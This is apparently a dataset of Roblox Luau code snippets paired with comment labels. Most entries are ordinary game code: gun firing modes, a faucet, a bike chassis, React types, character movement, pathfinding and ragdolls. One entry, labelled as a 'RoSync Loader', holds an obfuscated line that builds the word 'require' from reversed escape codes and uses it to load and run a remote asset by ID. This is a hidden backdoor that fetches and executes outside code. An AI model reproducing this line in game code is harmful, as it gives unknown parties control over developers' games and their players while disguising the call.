delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_244_ = JamCalculation()
if L_244_ then
L_65_ = false
else
L_65_ = true
end
Shooting = false
end
end
function fireBurst()
if not Shooting and L_95_ > 0 and L_64_ and L_15_ then
for L_249_forvar1 = 1, L_24_.BurstNum do
if L_95_ > 0 and L_64_ then
L_65_ = false
Recoiling = true
CheckReverb()
L_55_:WaitForChild('Fire'):Play()
L_101_:FireServer()
L_94_ = CreateBullet(0)
local L_250_, L_251_ = spawn(function()
CastRay(L_94_)
end)
for L_253_forvar1, L_254_forvar2 in pairs(L_55_:GetChildren()) do
if L_254_forvar2.Name:sub(1, 7) == "FlashFX" then
L_254_forvar2.Enabled = true
end
end
delay(1 / 30, function()
for L_255_forvar1, L_256_forvar2 in pairs(L_55_:GetChildren()) do
if L_256_forvar2.Name:sub(1, 7) == "FlashFX" then
L_256_forvar2.Enabled = false
end
end
end)
if L_24_.CanBolt == true then
BoltingBackAnim()
delay(L_24_.Firerate / 2, function()
if L_24_.CanSlideLock == false then
BoltingForwardAnim()
elseif L_24_.CanSlideLock == true and L_95_ > 0 then
BoltingForwardAnim()
end
end)
end
L_95_ = L_95_ - 1
UpdateAmmo()
RecoilFront = true
delay(L_24_.Firerate / 2, function()
Recoiling = false
RecoilFront = false
end)
wait(L_24_.Firerate)
local L_252_ = JamCalculation()
if L_252_ then
L_65_ = false
else
L_65_ = true
end
end
Shooting = true
end
Shooting = false
end
end
function Shoot()
if L_15_ and L_65_ then
if L_86_ == 1 then
fireSemi()
elseif L_86_ == 2 then
fireAuto()
elseif L_86_ == 3 then
fireBurst()
elseif L_86_ == 4 then
fireBoltAction()
elseif L_86_ == 5 then
fireShot()
elseif L_86_ == 6 then
fireExplo()
end
end
end
|
-- Cold water |
faucet.ColdWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-30),0,0))
if steam.WarmSteam.Enabled == true then
steam.WarmSteam.Enabled = false
end
if steam.HotSteam.Enabled == true then
steam.HotSteam.Enabled = false
end
p.ColdOn.Value = true
p.HotOn.Value = false
end)
|
--[[
Stores common public-facing type information for Fusion APIs.
]] |
type Set<T> = {[T]: any}
|
-- dependencies: |
local players = game:GetService("Players")
local physicsService = game:GetService("PhysicsService")
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis
RikOne2 | Enjin
--]] |
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")
local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
local SetPitch = .1
local SetRev = 1.8
local vol = .25 --Set the volume for everything below
handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev")) |
--Other Variables |
CurrentMode,Debounce,CurrentIndicators,BreakINDLoop,FadeTweenInfo,BrakeFadeInfo = nil
|
-----------------
--| Variables |--
----------------- |
local PlayersService = game:GetService('Players')
local DebrisService = game:GetService('Debris')
local Tool = script.Parent
local Handle = Tool:WaitForChild('Handle')
local FireSound = Handle:WaitForChild('Fire')
local ReloadSound = Handle:WaitForChild('Reload')
local HitFadeSound = script:WaitForChild('HitFade')
local PointLight = Handle:WaitForChild('PointLight')
local Character = nil
local Humanoid = nil
local Player = nil
local BaseShot = nil
|
--Attach to character added |
local function characterAdded()
local character = LocalPlayer.Character
Died = false
HRP = character:WaitForChild("HumanoidRootPart")
Humanoid = character:WaitForChild("Humanoid")
Humanoid:GetPropertyChangedSignal("Sit"):Connect(function()
if Humanoid.Sit then
hidePrompt()
end
end)
Humanoid.Died:Connect(function()
Died = true
hidePrompt()
end)
end
LocalPlayer.CharacterAdded:Connect(characterAdded)
if LocalPlayer.Character then
characterAdded()
end
local function getClosestSeat()
if HRP and Humanoid then
if not Humanoid.Sit and not Died then
local closest = math.huge
local closestSeat = nil
local closestModule = nil
for _, vehicle in pairs(CollectionService:GetTagged("EndorsedVehicle")) do
local scripts = vehicle:WaitForChild("Scripts")
local seatingModule = scripts and require(scripts:WaitForChild("LocalVehicleSeating"))
local seats = seatingModule.GetSeats()
for _, seat in pairs(seats) do
local _, seatVisible = Workspace.CurrentCamera:WorldToViewportPoint(seat.Position)
if seatVisible then
local dist = (HRP.Position - seat.Position).magnitude
if dist < closest and dist < MAX_PROMPT_DISTANCE and not seat:FindFirstChild("SeatWeld") then
closest = dist
closestSeat = seat
closestModule = seatingModule
end
end
end
end
return closestSeat, closestModule
end
end
end
while script.Parent ~= nil do
local closestSeat, closestModule = getClosestSeat()
if closestSeat and (not (Humanoid.Sit or Humanoid.PlatformStand)) then
if closestSeat ~= AdornedSeat then
hidePrompt()
AdornedSeat = closestSeat
AdornedSeatModule = closestModule
closestModule.ShowPrompt(closestSeat, script.Parent)
end
elseif AdornedSeat then
hidePrompt()
end
wait(SEAT_POLL_INTERVAL)
end
|
-- ROBLOX deviation START: Roblox renderer doesn't support TextNode, only use of this type is in this file
-- export type ReactText = string | number;
-- ROBLOX deviation END |
export type ReactProvider<T> = {
["$$typeof"]: number,
type: ReactProviderType<T>,
key: nil | string,
ref: nil,
props: {
value: T,
children: ReactNodeList?,
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
},
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
}
export type ReactProviderType<T> = {
["$$typeof"]: number,
_context: ReactContext<T>,
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
}
export type ReactConsumer<T> = {
["$$typeof"]: number,
type: ReactContext<T>, -- ROBLOX FIXME: Luau can't do <T> because: Recursive type being used with different parameters
key: nil | string,
ref: nil,
props: {
children: (value: T) -> ReactNodeList,
unstable_observedBits: number?,
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
},
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
}
export type ReactContext<T> = {
["$$typeof"]: number,
Consumer: ReactContext<T>,
Provider: ReactProviderType<T>,
_calculateChangedBits: ((T, T) -> number)?,
_currentValue: T,
_currentValue2: T,
_threadCount: number,
-- DEV only
_currentRenderer: Object | nil,
_currentRenderer2: Object | nil,
-- This value may be added by application code
-- to improve DEV tooling display names
displayName: string?,
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
}
export type ReactPortal = {
["$$typeof"]: number,
key: nil | string,
containerInfo: any,
children: ReactNodeList,
-- TODO: figure out the API for cross-renderer implementation.
implementation: any,
-- ROBLOX deviation START: only make this open to extension if absolutely necessary
-- ...
-- ROBLOX deviation END
}
export type RefObject = { current: any }
|
--// Rotate viewport |
local function setRotationEvent(model, camera)
local currentAngle = 0
local modelCF, modelSize = model:GetBoundingBox()
local rotInv = (modelCF - modelCF.p):inverse()
modelCF = modelCF * rotInv
modelSize = rotInv * modelSize
modelSize = Vector3.new(math.abs(modelSize.x), math.abs(modelSize.y), math.abs(modelSize.z))
local diagonal = 0
local maxExtent = math.max(modelSize.x, modelSize.y, modelSize.z)
local tan = math.tan(math.rad(camera.FieldOfView/2))
if (maxExtent == modelSize.x) then
diagonal = math.sqrt(modelSize.y*modelSize.y + modelSize.z*modelSize.z)/2
elseif (maxExtent == modelSize.y) then
diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.z*modelSize.z)/2
else
diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.y*modelSize.y)/2
end
local minDist = (maxExtent/2)/tan + diagonal
if model.Name == "Cam" then
minDist += 1
end
return RunService.RenderStepped:Connect(function(dt)
local increase = (1 * dt * 60) / 1.5
currentAngle = currentAngle + increase
camera.CFrame = modelCF * CFrame.fromEulerAnglesYXZ(0, math.rad(currentAngle), 0) * CFrame.new(0, 0, (minDist - 1))
end)
end
|
--[=[
Check if _both_ keys are down. Useful for key combinations.
```lua
local shiftA = keyboard:AreKeysDown(Enum.KeyCode.LeftShift, Enum.KeyCode.A)
if shiftA then ... end
```
]=] |
function Keyboard:AreKeysDown(keyCodeOne: Enum.KeyCode, keyCodeTwo: Enum.KeyCode): boolean
return self:IsKeyDown(keyCodeOne) and self:IsKeyDown(keyCodeTwo)
end
|
--[[ Public API ]] | --
function KeyboardMovement:Enable()
if not UserInputService.KeyboardEnabled then
return
end
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local updateMovement = function(inputState)
if inputState == Enum.UserInputState.Cancel then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0, 0, 0)
else
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
forwardValue = -1
elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
forwardValue = 0
end
updateMovement(inputState)
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
backwardValue = 1
elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
backwardValue = 0
end
updateMovement(inputState)
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
leftValue = -1
elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
leftValue = 0
end
updateMovement(inputState)
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
rightValue = 1
elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
rightValue = 0
end
updateMovement(inputState)
end
local jumpFunc = function(actionName, inputState, inputObject)
MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin)
end
-- TODO: remove up and down arrows, these seem unnecessary
ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward)
ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward)
ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft)
ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight)
ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump)
-- TODO: make sure we check key state before binding to check if key is already down
local function onFocusReleased()
local humanoid = getHumanoid()
if humanoid then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0, 0, 0)
forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0
MasterControl:SetIsJumping(false)
end
end
local function onTextFocusGained(textboxFocused)
MasterControl:SetIsJumping(false)
end
SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed)
if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then
local humanoid = getHumanoid()
if humanoid and (humanoid.Sit or humanoid.PlatformStand) then
MasterControl:DoJump()
end
end
end)
TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased)
TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained)
-- TODO: remove pcall when API is live
WindowFocusReleasedCn = UserInputService.WindowFocusReleased:connect(onFocusReleased)
end
function KeyboardMovement:Disable()
ContextActionService:UnbindAction("forwardMovement")
ContextActionService:UnbindAction("backwardMovement")
ContextActionService:UnbindAction("leftMovement")
ContextActionService:UnbindAction("rightMovement")
ContextActionService:UnbindAction("jumpAction")
if SeatJumpCn then
SeatJumpCn:disconnect()
SeatJumpCn = nil
end
if TextFocusReleasedCn then
TextFocusReleasedCn:disconnect()
TextFocusReleasedCn = nil
end
if TextFocusGainedCn then
TextFocusGainedCn:disconnect()
TextFocusGainedCn = nil
end
if WindowFocusReleasedCn then
WindowFocusReleasedCn:disconnect()
WindowFocusReleasedCn = nil
end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return KeyboardMovement
|
--[=[
Starts with the given values
https://rxjs-dev.firebaseapp.com/api/operators/startWith
@param values { T }
@return (source: Observable) -> Observable
]=] |
function Rx.startWith(values)
assert(type(values) == "table", "Bad values")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
for _, item in pairs(values) do
sub:Fire(item)
end
return source:Subscribe(sub:GetFireFailComplete())
end)
end
end
|
-- Activation]: |
if TurnCharacterToMouse == true then
MseGuide = true
HeadHorFactor = 0
BodyHorFactor = 0
end
Bind = function(Body)
Head = Body:WaitForChild("Head")
Hum = Body:WaitForChild("Humanoid")
Core = Body:WaitForChild("HumanoidRootPart")
IsR6 = (Hum.RigType.Value==0) --[Checking if the player is using R15 or R6.]
Trso = (IsR6 and Body:WaitForChild("Torso")) or Body:WaitForChild("UpperTorso")
Neck = (IsR6 and Trso:WaitForChild("Neck")) or Head:WaitForChild("Neck") --[Once we know the Rig, we know what to find.]
Waist = (not IsR6 and Trso:WaitForChild("Waist")) --[R6 doesn't have a waist joint, unfortunately.]
local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.]
local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.]
--[Setup]:
Neck.MaxVelocity = 1/3
local Connection
Connection = game:GetService("RunService").RenderStepped:Connect(function()
if not Body then Connection:Disconnect() return end
local CamCF = Cam.CoordinateFrame
if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[Check for the Torso and Head...]
local TrsoLV = Trso.CFrame.lookVector
local HdPos = Head.CFrame.p
if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.]
if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
local Dist = nil;
local Diff = nil;
if not MseGuide then --[If not tracking the Mouse then get the Camera.]
Dist = (Head.CFrame.p-CamCF.p).magnitude
Diff = Head.CFrame.Y-CamCF.Y
if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else --[R15s actually have the properly oriented Neck CFrame.]
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)
end
else
local Point = Mouse.Hit.p
Dist = (Head.CFrame.p-Point).magnitude
Diff = Head.CFrame.Y-Point.Y
if not IsR6 then
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
else
Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)
end
end
end
end
end
if TurnCharacterToMouse == true then
Hum.AutoRotate = false
Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)
else
Hum.AutoRotate = true
end
end)
end
repeat task.wait() until Plr.Character
Bind(Plr.Character)
Plr.CharacterAdded:Connect(Bind)
|
-- GUI Elements |
local TutorialGui = script.Parent
local Panels = TutorialGui.TutorialPanels
local Panel1 = Panels.Panel1
local Panel2 = Panels.Panel2
local NextButton = Panels.NextButton
local Arrow = TutorialGui.Arrow
|
---bruh |
local humanoid = script.Parent.Parent:WaitForChild('Humanoid')
humanoid.BreakJointsOnDeath = false
wait(0.01)
for index,joint in pairs(script.Parent.Parent:GetDescendants()) do
if joint:IsA('Motor6D') then
local socket = Instance.new('BallSocketConstraint')
local a1 = Instance.new('Attachment')
local a2 = Instance.new('Attachment')
a1.Parent = joint.Part0
a2.Parent = joint.Part1
socket.Parent = joint.Parent
socket.Attachment0 = a1
socket.Attachment1 = a2
a1.CFrame = joint.c0
a2.CFrame = joint.c1
socket.LimitsEnabled = true
socket.TwistLimitsEnabled = true
joint:Destroy()
local bv = Instance.new("BodyVelocity")
bv.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
bv.Velocity = script.Parent.Parent.HumanoidRootPart.CFrame.lookVector * -0
bv.Parent = script.Parent.Parent.HumanoidRootPart
game.Debris:AddItem(bv, .1)
end
end
wait(3)
for i, v in pairs(script.Parent.Parent:GetDescendants()) do
if v:IsA("BallSocketConstraint") then
v.UpperAngle = 0
v.TwistUpperAngle = 0
v.TwistLowerAngle = 0
local Joins = Instance.new("Motor6D", v.Parent)
Joins.Part0 = v.Attachment0.Parent
Joins.Part1 = v.Attachment1.Parent
Joins.C0 = v.Attachment0.CFrame
Joins.C1 = v.Attachment1.CFrame
v:Destroy()
end
end
script.Parent:Destroy()
|
-- /**
-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
-- *
-- * This source code is licensed under the MIT license found in the
-- * LICENSE file in the root directory of this source tree.
-- *
-- */ |
local CurrentModule = script
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Object = LuauPolyfill.Object
type Array<T> = LuauPolyfill.Array<T>
local AssertionError = LuauPolyfill.AssertionError
local matcherUtils = require(Packages.JestMatcherUtils)
local AsymmetricMatchers = require(CurrentModule.asymmetricMatchers)
local any = AsymmetricMatchers.any
local anything = AsymmetricMatchers.anything
local arrayContaining = AsymmetricMatchers.arrayContaining
local arrayNotContaining = AsymmetricMatchers.arrayNotContaining
local objectContaining = AsymmetricMatchers.objectContaining
local objectNotContaining = AsymmetricMatchers.objectNotContaining
local stringContaining = AsymmetricMatchers.stringContaining
local stringNotContaining = AsymmetricMatchers.stringNotContaining
local stringMatching = AsymmetricMatchers.stringMatching
local stringNotMatching = AsymmetricMatchers.stringNotMatching
local JasmineUtils = require(CurrentModule.jasmineUtils)
local equals = JasmineUtils.equals
local JestMatchersObject = require(CurrentModule.jestMatchersObject) |
--Code runs when message/command is typed below |
Command = "TEST"
game.Players.LocalPlayer.Chatted:connect(function(msg)
if msg == Command then
script.Parent.PlayerSent:FireServer(msg) --Triggers the code under the server script
end
end)
|
--[[ Last synced 12/11/2020 06:18 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
-- FUNCTION -- |
function RotateBlimp()
local BlimpTween = TweenService:Create(AlignOrientation, TweenInfo.new(20, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
CFrame = AlignOrientation.CFrame * CFrame.Angles(math.rad(-1), math.rad(180), 0)
})
BlimpTween:Play()
return BlimpTween
end |
-----------------------------------PATHER-------------------------------------- |
local function CreateDestinationIndicator(pos)
local destinationGlobe = Create'Part'
{
Name = 'PathGlobe';
TopSurface = 'Smooth';
BottomSurface = 'Smooth';
Shape = 'Ball';
CanCollide = false;
Size = Vector3.new(2,2,2);
BrickColor = BrickColor.new('Institutional white');
Transparency = 0;
Anchored = true;
CFrame = CFrame.new(pos);
}
return destinationGlobe
end
local function Pather(character, point)
local this = {}
this.Cancelled = false
this.Started = false
this.Finished = Signal.Create()
this.PathFailed = Signal.Create()
this.PathStarted = Signal.Create()
this.PathComputed = false
function this:YieldUntilPointReached(character, point, timeout)
timeout = timeout or 10000000
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
local start = tick()
local lastMoveTo = start
while torso and tick() - start < timeout and this.Cancelled == false do
local diffVector = (point - torso.CFrame.p)
local xzMagnitude = (diffVector * Vector3.new(1,0,1)).magnitude
if xzMagnitude < 6 then
-- Jump if the path is telling is to go upwards
if diffVector.Y >= 2.2 then
humanoid.Jump = true
end
end
-- The hard-coded number 2 here is from the engine's MoveTo implementation
if xzMagnitude < 2 then
return true
end
-- Keep on issuing the move command because it will automatically quit every so often.
if tick() - lastMoveTo > 1.5 then
humanoid:MoveTo(point)
lastMoveTo = tick()
end
CharacterControl:UpdateTorso(point)
wait()
end
return false
end
function this:Cancel()
this.Cancelled = true
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if humanoid and torso then
humanoid:MoveTo(torso.CFrame.p)
end
end
function this:CheckOcclusion(point1, point2, character, torsoRadius)
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torsoRadius == nil then
torsoRadius = torso and Vector3.new(torso.Size.X/2,0,torso.Size.Z/2) or Vector3.new(1,0,1)
end
local diffVector = point2 - point1
local directionVector = diffVector.unit
local rightVector = Vector3.new(0,1,0):Cross(directionVector) * torsoRadius
local rightPart, _ = Utility.Raycast(Ray.new(point1 + rightVector, diffVector + rightVector), true, {character})
local hitPart, _ = Utility.Raycast(Ray.new(point1, diffVector), true, {character})
local leftPart, _ = Utility.Raycast(Ray.new(point1 - rightVector, diffVector - rightVector), true, {character})
if rightPart or hitPart or leftPart then
return false
end
-- Make sure we have somewhere to stand on
local midPt = (point2 + point1) / 2
local studsBetweenSamples = 2
for i = 1, math.floor(diffVector.magnitude/studsBetweenSamples) do
local downPart, _ = Utility.Raycast(Ray.new(point1 + directionVector * i * studsBetweenSamples, Vector3.new(0,-7,0)), true, {character})
if not downPart then
return false
end
end
return true
end
function this:SmoothPoints(pathToSmooth)
local result = {}
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
for i = 1, #pathToSmooth do
table.insert(result, pathToSmooth[i])
end
-- Backwards for safe-deletion
for i = #result - 1, 1, -1 do
if i + 1 <= #result then
local nextPoint = result[i+1]
local thisPoint = result[i]
local lastPoint = result[i-1]
if lastPoint == nil then
lastPoint = torso and Vector3.new(torso.CFrame.p.X, thisPoint.Y, torso.CFrame.p.Z)
end
if lastPoint and Utility.FuzzyEquals(thisPoint.Y, lastPoint.Y) and Utility.FuzzyEquals(thisPoint.Y, nextPoint.Y) then
if this:CheckOcclusion(lastPoint, nextPoint, character) then
table.remove(result, i)
-- Move i back one to recursively-smooth
i = i + 1
end
end
end
end
return result
end
function this:CheckNeighboringCells(character)
local pathablePoints = {}
local humanoid = findPlayerHumanoid(Player)
local torso = character and humanoid and humanoid.Torso
if torso then
local torsoCFrame = torso.CFrame
local torsoPos = torsoCFrame.p
-- Minus and plus 2 is so we can get it into the cell-corner space and then translate it back into cell-center space
local roundedPos = Vector3.new(Utility.Round(torsoPos.X-2,4)+2, Utility.Round(torsoPos.Y-2,4)+2, Utility.Round(torsoPos.Z-2,4)+2)
local neighboringCells = {}
for x = -4, 4, 8 do
for z = -4, 4, 8 do
table.insert(neighboringCells, roundedPos + Vector3.new(x,0,z))
end
end
for _, testPoint in pairs(neighboringCells) do
local pathable = this:CheckOcclusion(roundedPos, testPoint, character, Vector3.new(0,0,0))
if pathable then
table.insert(pathablePoints, testPoint)
end
end
end
return pathablePoints
end
function this:ComputeDirectPath()
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torso then
local startPt = torso.CFrame.p
local finishPt = point
if (finishPt - startPt).magnitude < 150 then
-- move back the destination by 2 studs or otherwise the pather will collide with the object we are trying to reach
finishPt = finishPt - (finishPt - startPt).unit * 2
if this:CheckOcclusion(startPt, finishPt, character, Vector3.new(0,0,0)) then
local pathResult = {}
pathResult.Status = Enum.PathStatus.Success
function pathResult:GetPointCoordinates()
return {finishPt}
end
return pathResult
end
end
end
end
local function AllAxisInThreshhold(targetPt, otherPt, threshold)
return math.abs(targetPt.X - otherPt.X) <= threshold and
math.abs(targetPt.Y - otherPt.Y) <= threshold and
math.abs(targetPt.Z - otherPt.Z) <= threshold
end
function this:ComputePath()
local smoothed = false
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torso then
if this.PathComputed then return end
this.PathComputed = true
-- Will yield the script since it is an Async script (start, finish, maxDistance)
-- Try to use the smooth function, but it may not exist yet :(
local success = pcall(function()
-- 3 is height from torso cframe to ground
this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400)
smoothed = true
end)
if not success then
-- 3 is height from torso cframe to ground
this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p - Vector3.new(0,3,0), point, 400)
smoothed = false
end
this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
local pathFound = false
if this.pathResult.Status == Enum.PathStatus.FailFinishNotEmpty then
-- Lets try again with a slightly set back start point; it is ok to do this again so the FailFinishNotEmpty uses little computation
local diffVector = point - workspace.CurrentCamera.CoordinateFrame.p
if diffVector.magnitude > 2 then
local setBackPoint = point - (diffVector).unit * 2.1
local success = pcall(function()
this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p, setBackPoint, 400)
smoothed = true
end)
if not success then
this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p, setBackPoint, 400)
smoothed = false
end
this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
pathFound = true
end
end
if this.pathResult.Status == Enum.PathStatus.ClosestNoPath and #this.pointList >= 1 and pathFound == false then
local otherPt = this.pointList[#this.pointList]
if AllAxisInThreshhold(point, otherPt, 4) and (torso.CFrame.p - point).magnitude > (otherPt - point).magnitude then
local pathResult = {}
pathResult.Status = Enum.PathStatus.Success
function pathResult:GetPointCoordinates()
return {this.pointList}
end
this.pathResult = pathResult
pathFound = true
end
end
if (this.pathResult.Status == Enum.PathStatus.FailStartNotEmpty or this.pathResult.Status == Enum.PathStatus.ClosestNoPath) and pathFound == false then
local pathablePoints = this:CheckNeighboringCells(character)
for _, otherStart in pairs(pathablePoints) do
local pathResult;
local success = pcall(function()
pathResult = PathfindingService:ComputeSmoothPathAsync(otherStart, point, 400)
smoothed = true
end)
if not success then
pathResult = PathfindingService:ComputeRawPathAsync(otherStart, point, 400)
smoothed = false
end
if pathResult and pathResult.Status == Enum.PathStatus.Success then
this.pathResult = pathResult
if this.pathResult then
this.pointList = this.pathResult:GetPointCoordinates()
table.insert(this.pointList, 1, otherStart)
end
break
end
end
end
if DirectPathEnabled then
if this.pathResult.Status ~= Enum.PathStatus.Success then
local directPathResult = this:ComputeDirectPath()
if directPathResult and directPathResult.Status == Enum.PathStatus.Success then
this.pathResult = directPathResult
this.pointList = directPathResult:GetPointCoordinates()
end
end
end
end
return smoothed
end
function this:IsValidPath()
this:ComputePath()
local pathStatus = this.pathResult.Status
return pathStatus == Enum.PathStatus.Success
end
function this:GetPathStatus()
this:ComputePath()
return this.pathResult.Status
end
function this:Start()
spawn(function()
local humanoid = findPlayerHumanoid(Player)
--humanoid.AutoRotate = false
local torso = humanoid and humanoid.Torso
if torso then
if this.Started then return end
this.Started = true
-- Will yield the script since it is an Async function script (start, finish, maxDistance)
local smoothed = this:ComputePath()
if this:IsValidPath() then
this.PathStarted:fire()
-- smooth out zig-zaggy paths
local smoothPath = smoothed and this.pointList or this:SmoothPoints(this.pointList)
for i, point in pairs(smoothPath) do
if humanoid then
if this.Cancelled then
return
end
local wayPoint = nil
if SHOW_PATH then
wayPoint = CreateDestinationIndicator(point)
wayPoint.BrickColor = BrickColor.new("New Yeller")
wayPoint.Parent = workspace
print(wayPoint.CFrame.p)
end
humanoid:MoveTo(point)
local distance = ((torso.CFrame.p - point) * Vector3.new(1,0,1)).magnitude
local approxTime = 10
if math.abs(humanoid.WalkSpeed) > 0 then
approxTime = distance / math.abs(humanoid.WalkSpeed)
end
local yielding = true
if i == 1 then
--local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
if CameraModule then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(smoothPath[#smoothPath])
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
end
--CharacterControl:SetTorsoLookPoint(point)
end
---[[
if (humanoid.Torso.CFrame.p - point).magnitude > 9 then
spawn(function()
while yielding and this.Cancelled == false do
if CameraModule then
local look = CameraModule:GetCameraLook()
local squashedLook = (look * Vector3.new(1,0,1)).unit
local direction = ((point - workspace.CurrentCamera.CoordinateFrame.p) * Vector3.new(1,0,1)).unit
local theta = math.deg(math.acos(squashedLook:Dot(direction)))
if tick() - Utility.GetLastInput() > 2 and theta > (workspace.CurrentCamera.FieldOfView / 2) then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
--return
end
end
wait(0.1)
end
end)
end
--]]
local didReach = this:YieldUntilPointReached(character, point, approxTime * 3 + 1)
yielding = false
if SHOW_PATH then
wayPoint:Destroy()
end
if not didReach then
this.PathFailed:fire()
return
end
end
end
this.Finished:fire()
return
end
end
this.PathFailed:fire()
end)
end
return this
end
|
--Hide Avatar |
script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
